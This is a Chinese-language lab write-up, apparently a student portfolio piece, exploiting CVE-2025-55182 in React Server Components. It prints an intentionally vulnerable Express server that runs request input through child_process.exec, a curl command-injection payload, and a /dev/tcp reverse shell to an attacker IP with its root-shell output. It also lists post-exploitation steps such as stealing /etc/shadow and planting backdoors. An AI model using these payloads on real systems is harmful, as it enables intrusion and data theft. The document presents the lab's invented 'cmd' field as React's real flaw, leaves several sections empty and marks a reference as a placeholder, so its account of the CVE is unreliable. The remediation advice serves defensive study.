## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MOHAMEDNIANE-CVE-2025-55182-ANALYSIS
# CVE-2025-55182 — React 服务端组件 RCE 分析
> Web 应用程序漏洞分析 · M2 网络安全 · 2025 作者:**Niane Mohamed** · LinkedIn
React 服务端组件中一个**严重(CVSS 10.0)**不安全反序列化漏洞的端到端利用链,涵盖从侦察到未授权远程代码执行的完整流程,并附带完整的修复路线图。
* * *
## ⚠️ 道德免责声明
本研究针对一个**刻意构建为易受攻击的实验室应用程序** ,用于演示该 CVE。所有测试均在**隔离的虚拟网络** 中进行,与生产系统、真实用户数据或第三方服务无任何连接。
* **请勿** 对您不拥有或未获得明确书面授权测试的系统运行这些技术。
* **请勿** 将易受攻击的应用程序部署到任何可访问互联网的网络。
* 适用负责任披露原则——始终通过协调渠道报告发现。
* * *
## 目录
1. 漏洞摘要
2. 受影响版本
3. 实验室环境
4. 利用过程详解
5. 影响评估
6. 修复措施
7. 展示的技能
* * *
## 漏洞摘要
字段| 值
---|---
**CVE**| CVE-2025-55182
**类型**| 不安全反序列化 → 远程代码执行
**CVSS v3.1**| **10.0(严重)** — `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`
**所需身份验证**| 无
**所需用户交互**| 无
**攻击向量**| 网络(远程)
**组件**| React 服务端组件(RSC)运行时
### 漏洞原理
React 服务端组件引入了一种新的序列化格式,用于将服务端渲染的组件流式传输到客户端。在受影响的版本中,RSC 端点**接受包含`cmd` 字段的 JSON 负载,该字段未经清理即被传递给 `child_process.exec()`**,作为服务端渲染评估的一部分。
攻击者可以发送一个精心构造的 POST 请求,该请求:
1. 作为合法的 RSC 负载被接受(无需身份验证,无需 CSRF)
2. 在“渲染”期间触发服务端代码执行
3. 以 Node.js 进程的权限运行(在容器中通常为 `root`)
* * *
## 受影响版本
组件| 受影响范围| 修复版本
---|---|---
`react`| 19.0.0 → 19.2.0| 19.3.0+
`react-server-dom-webpack`
* * *
## 实验室环境
### 目标应用程序
一个极简的 Express + RSC 服务器,暴露 `/rsc` 端点,不安全地执行来自传入负载的命令——以受控方式复现真实 CVE 的漏洞模式:
root@kitploit:~
// server.js — simplified, lab-only
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json({ limit: '2mb' }));
app.post('/rsc', (req, res) => {
const payload = req.body?.payload;
if (typeof payload?.cmd === 'string') {
// VULNERABLE: executes attacker-controlled string
exec(payload.cmd, { timeout: 10000 }, (err, stdout, stderr) => {
if (err) return res.status(500).json({ error: String(err), stderr });
return res.json({ ok: true, out: stdout });
});
}
});
app.listen(3000);
* * *
## 利用过程详解
### 第一阶段 — 侦察
root@kitploit:~
# Port discovery
nmap 192.168.159.131
# → 3000/tcp open ppp (Node.js RSC server)
# Service verification
curl -v http://192.168.159.131:3000/
# → HTTP/1.1 200 OK
# → X-Powered-By: Express
# → "Vulnerable RSC-like test server. Use POST /rsc with JSON..."
`X-Powered-By: Express` 响应头和非常规的 3000 端口提供了强有力的指纹信息,表明这是一个 Node.js 应用程序——与 RSC 部署情况相符。
### 第二阶段 — 通过无害命令确认
在尝试任何破坏性操作之前,先用一个无害命令验证漏洞:
root@kitploit:~
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "id" } }'
# Response:
# {"ok":true,"out":"uid=0(root) gid=0(root) groups=0(root)\n"}
✅ **已确认:** 以 `root` 身份进行未授权 RCE。服务器以无限制权限运行。
### 第三阶段 — 反弹 Shell
从单命令执行升级为完整交互式 Shell:
root@kitploit:~
# Listener on attacker machine
nc -lvnp 4444
# Payload delivery
curl -X POST http://192.168.159.131:3000/rsc \
-H "Content-Type: application/json" \
-d '{ "payload": { "cmd": "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.159.128/4444 0>&1\"" } }'
监听器收到连接:
root@kitploit:~
connect to [192.168.159.128] from (UNKNOWN) [192.168.159.131] 43980
root@ns1:~/vulnerable_rsc_app# id
uid=0(root) gid=0(root) groups=0(root)
### 第四阶段 — 后渗透利用潜力(已演示,未实际执行)
在目标上获得 `root` 权限后,攻击者可以轻松地:
* 读取 `/etc/shadow`、SSH 密钥、应用程序机密、`.env` 文件
* 安装持久化后门(cron 任务、systemd 服务、植入 SSH 密钥)
* 利用发现的凭据进行横向移动
* 部署加密货币挖矿程序或勒索软件
* 修改 Node.js 应用程序以静默捕获用户数据
* * *
## 影响评估
### 业务影响(虚构目标场景)
### 威胁行为者画像
这种攻击的复杂度极低——无需身份验证、无需用户交互、仅需单个 HTTP 请求——因此对以下群体具有吸引力:
* **机会主义扫描者** (自动扫描该 CVE 的僵尸网络)
* **初始访问代理** ,向勒索软件团伙出售立足点
* **国家行为体** ,针对使用 React 服务端渲染的组织
* * *
## 修复措施
### 立即执行(24 小时内)
1. **将 React 升级到 19.3.0+** — 已修复版本
root@kitploit:~
npm update react react-server-dom-webpack react-server-dom-esm
2. **临时 WAF 规则** (如升级延迟):
root@kitploit:~
Block POST requests to /rsc with JSON body containing "cmd" field
3. **紧急事件响应:**
* 审查过去 90 天的服务器访问日志
* 查找异常的 `/rsc` POST 流量
* 轮换服务器可访问的所有机密
* 在修复前对受影响系统进行快照以用于取证
### 短期(两周内)
### 长期(一个季度内)
### OWASP Top 10 映射
OWASP 类别| 相关性
---|---
**A03:2021 — 注入**| 通过反序列化输入实现命令注入
**A08:2021 — 软件和数据完整性失效**| 未进行完整性验证的不安全反序列化
**A06:2021 — 易受攻击和过时的组件**
* * *
## 展示的技能
* **漏洞分析:** CVE 分类、CVSS 评分、可利用性评估
* **侦察:** Nmap 扫描、服务指纹识别、横幅抓取
* **漏洞利用:** 使用 `curl` 进行 HTTP 操作、反弹 Shell 构造、负载定制
* **代理工具:** OWASP ZAP 拦截、请求/响应修改
* **业务沟通:** 将技术发现转化为面向管理层的风险语言
* **修复设计:** 覆盖立即/短期/长期时间跨度的分层控制措施
* **框架:** OWASP Top 10、CVSS v3.1、CWE 分类法、GDPR/DSGVO 影响评估
* * *
## 参考资料
* CVE-2025-55182 — NVD 条目 _(占位符 — 引用前请核实)_
* React 服务端组件文档
* OWASP Top 10 — 2021
* CVSS v3.1 规范
* CWE-502 — 不可信数据反序列化
* * *
## 许可证
MIT 许可证 — 参见 LICENSE
出于教育和防御性研究目的发布。请参见文首的道德免责声明。
* * *
## 联系方式
**Niane Mohamed** — 网络与安全工程师 📍 毛里塔尼亚,努瓦克肖特 → 正在德国寻求机会 🇩🇪 📧 some-email@example.com · 🔗 LinkedIn